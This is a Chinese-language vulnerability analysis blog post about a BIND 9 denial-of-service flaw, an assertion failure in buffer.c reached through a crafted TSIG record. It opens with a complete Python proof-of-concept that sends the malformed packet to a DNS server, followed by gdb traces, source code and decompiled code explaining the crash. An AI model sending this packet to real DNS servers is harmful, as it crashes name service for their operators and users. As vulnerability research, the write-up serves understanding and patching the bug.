作者:k0shl 转载请注明出处:https://whereisk0shl.top
2018年的最后一个月,一年又要过去了....
漏洞说明
BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。
PoC:
import socket
import struct
TARGET = ('192.168.200.10', 53)
Q_A = 1
Q_TSIG = 250
DNS_MESSAGE_HEADERLEN = 12
def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512):
query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01"
sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
tsig_rr = build_tsig_rr(sweet_spot)
return query_A + tsig_rr
def int16(n):
return struct.pack("!H", n)
def build_tsig_rr(bind_demarshalled_size):
signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09"
"\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00")
tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00"
necessary_bytes = len(signature_data) + len(tsig_rr_extra_fields)
necessary_bytes += 2 + 2 # length fields
# from sizeof(TSIG RR) bytes conforming the TSIG RR
# bind9 uses sizeof(TSIG RR) - 16 to build its own
sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)
tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
tsig_data = algo_name + signature_data
return tsig_hdr + int16(len(tsig_data)) + tsig_data
def generate_padding(n):
max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
buckets = [1] * len(max_per_bucket)
min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
max_size = sum(max_per_bucket) + len(buckets) + 2
if not(min_size <= n <= max_size):
raise RuntimeException("unsupported amount of bytes")
curr_idx, n = 0, n - min_size
while n > 0:
next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
buckets[curr_idx] = 1 + n - next_n
n, curr_idx = next_n, curr_idx + 1
n_padding = lambda amount: chr(amount) + "A" * amount
stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00"
return stringify(buckets[:4]), stringify(buckets[4:])
if __name__ == "__main__":
bombita = build_bind_nuke()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bombita, TARGET)
s.close()
漏洞分析
BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。
首先部署BIND 9服务,这时候linux会开启53端口,gdb附加,发送畸形数据包。
可以看到Payload在Additional records字段中,数据包发送后,gdb会命中断点。
gdb-peda$ run
Starting program: /usr/sbin/named
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New process 9722]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb751ab40 (LWP 9723)]
[New Thread 0xb6d19b40 (LWP 9724)]
[New Thread 0xb6518b40 (LWP 9725)]
Program received signal SIGABRT, Aborted.
[Switching to Thread 0xb751ab40 (LWP 9723)]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x25fa
ECX: 0x25fb
EDX: 0x6
ESI: 0x1
EDI: 0xb7b23000 --> 0x1a5da8
EBP: 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
ESP: 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
[------------------------------------stack-------------------------------------]
0000| 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
0004| 0xb7515a68 --> 0x6
0008| 0xb7515a6c --> 0x25fb
0012| 0xb7515a70 --> 0xb79ab307 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xb7515a74 --> 0xb7b23000 --> 0x1a5da8
0020| 0xb7515a78 --> 0xb7515b14 --> 0x0
0024| 0xb7515a7c --> 0xb79ac9c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8)
0028| 0xb7515a80 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
这时候接收到了一个SIGABRT信号,在调用abort后会到达这个位置,从而中止DNS服务,通过bt的方法回溯一下堆栈调用情况。
gdb-peda$ bt
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb79ab307 in __GI_raise (sig=sig@entry=0x6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb79ac9c3 in __GI_abort () at abort.c:89
#3 0x8002da86 in ?? ()
#4 0xb7cdb7d5 in isc_assertion_failed () from /usr/lib/libisc.so.95
#5 0xb7cdd931 in isc.buffer_add () from /usr/lib/libisc.so.95
#6 0xb7de784b in dns_name_towire () from /usr/lib/libdns.so.100
#7 0xb7e58b08 in ?? () from /usr/lib/libdns.so.100
#8 0xb7ddf0a0 in dns_message_rendersection () from /usr/lib/libdns.so.100
#9 0x80021417 in ?? ()
#10 0x80021851 in ?? ()
#11 0x80022ac4 in ?? ()
#12 0xb7cfdf0c in ?? () from /usr/lib/libisc.so.95
#13 0xb7caeefb in start_thread (arg=0xb751ab40) at pthread_create.c:309
#14 0xb7a6662e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:129
可以看到,在#4位置调用了isc_assertion_failed,随后执行了abort然后vsyscall中止服务,#4位置的assert应该是一处断言错误。来看一下buffer.c的源码部分。
void
isc__buffer_add(isc_buffer_t *b, unsigned int n) {
/*
* Increase the 'used' region of 'b' by 'n' bytes.
*/
REQUIRE(ISC_BUFFER_VALID(b));
REQUIRE(b->used + n <= b->length);
ISC__BUFFER_ADD(b, n);
}
在源码中关于isc__buffer_add的描述并没有涉及assert部分,但实际上REQUIRE就是一个断言的函数调用,我们通过IDA来观察这个过程。
首先,当服务端接收到数据包的时候,根据additional records字段会先调用dns_name_towire函数处理名称部分。
isc_result_t
dns_name_towire(dns_name_t *name, dns_compress_t *cctx, isc_buffer_t *target) {
……
dns_name_init(&gp, po);
dns_name_init(&gs, so);
isc_buffer_init(&gws, gb, sizeof (gb));
offset = target->used; /*XXX*/
methods = dns_compress_getmethods(cctx);
if ((methods & DNS_COMPRESS_GLOBAL) != 0)
gf = dns_compress_findglobal(cctx, name, &gp, &gs, &go, &gws);
else
gf = ISC_FALSE;
/*
* Will the compression pointer reduce the message size?
*/
if (gf && (gp.length + ((go < 16384) ? 2 : 3)) >= name->length)
gf = ISC_FALSE;
if (gf) {
if (target->length - target->used < gp.length)
return (ISC_R_NOSPACE);
(void)memcpy((unsigned char *)target->base + target->used,
gp.ndata, (size_t)gp.length);
isc_buffer_add(target, gp.length);
……
}
这里我取了关键的一部分代码,isc_buffer_add(target, gp.length);这个函数调用就是最关键的调用部分。
我们需要跟踪一下gp的值,实际上target指针指向的buffer就是畸形字符串。gp的值是什么呢。gp的值来自于dns_compress_findglobal函数。
isc_boolean_t
dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name,
dns_name_t *prefix, dns_name_t *suffix,
isc_uint16_t *offset, isc_buffer_t *workspace)
{
REQUIRE(VALID_CCTX(cctx));
REQUIRE(dns_name_isabsolute(name) == ISC_TRUE);
REQUIRE(offset != NULL);
return (compress_find(cctx->global, name, prefix, suffix, offset,
workspace));
}
gp的值是name的prefix部分,随后进入isc__buffer_add中。
int __cdecl isc__buffer_add(int a1, int a2)
{
int result; // eax@1
unsigned int v3; // edx@3
result = a1;
if ( !a1 || *(_DWORD *)a1 != 1114990113 )
isc_assertion_failed(
(int)"buffer.c",
126,
0,
(int)"(((b) != ((void *)0)) && (((const isc__magic_t *)(b))->magic == (0x42756621U)))");
v3 = *(_DWORD *)(a1 + 12) + a2;
if ( v3 > *(_DWORD *)(a1 + 8) )
isc_assertion_failed((int)"buffer.c", 127, 0, (int)"b->used + n <= b->length");
*(_DWORD *)(a1 + 12) = v3;
return result;
}
当进入第二个断言错误判断if ( v3 > *(_DWORD *)(a1 + 8) )的时候,我们来看一下这个过程的值,首先a1+8是name结构体中存放name长度的部分。
[------------------------------------stack-------------------------------------]
0000| 0xb74de6b0 --> 0xb74de710 ("nSND\b\020L\265\001")
0004| 0xb74de6b4 --> 0xb7cdd8d6 (<isc__buffer_add+6>: add ebx,0x5f0aa)
0008| 0xb74de6b8 --> 0xb7f9fac8 --> 0x22a998
0012| 0xb74de6bc --> 0xb7de784b (<dns_name_towire+507>: movzx eax,WORD PTR [esp+0x18])
0016| 0xb74de6c0 --> 0xb54c5040 ("!fuBxQL\265")
0020| 0xb74de6c4 --> 0x1
0024| 0xb74de6c8 --> 0x1
0028| 0xb74de6cc --> 0xb74de6e2 --> 0x536e0000 ('')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7cdd8f6 in isc.buffer_add () from /usr/lib/libisc.so.95
gdb-peda$ x/10x $eax
0xb54c5040: 0x42756621 0xb54c5178 0x00000200 0x0000000c
0xb54c5050: 0x00000000 0x00000000 0xffffffff 0xffffffff
0xb54c5060: 0x00000000 0x00000000
注意b54c5040+8h的位置部分,存放的是长度,这个长度的获取时根据DNS数据包中字段的值决定的,但是如果这个值碰上/0,则会结束。
所以重新看一下发送的数据包,如果碰上/0,则会满足v3,也就是总长度大于字段中存放长度的时候,进入断言判断,DNS服务被中止。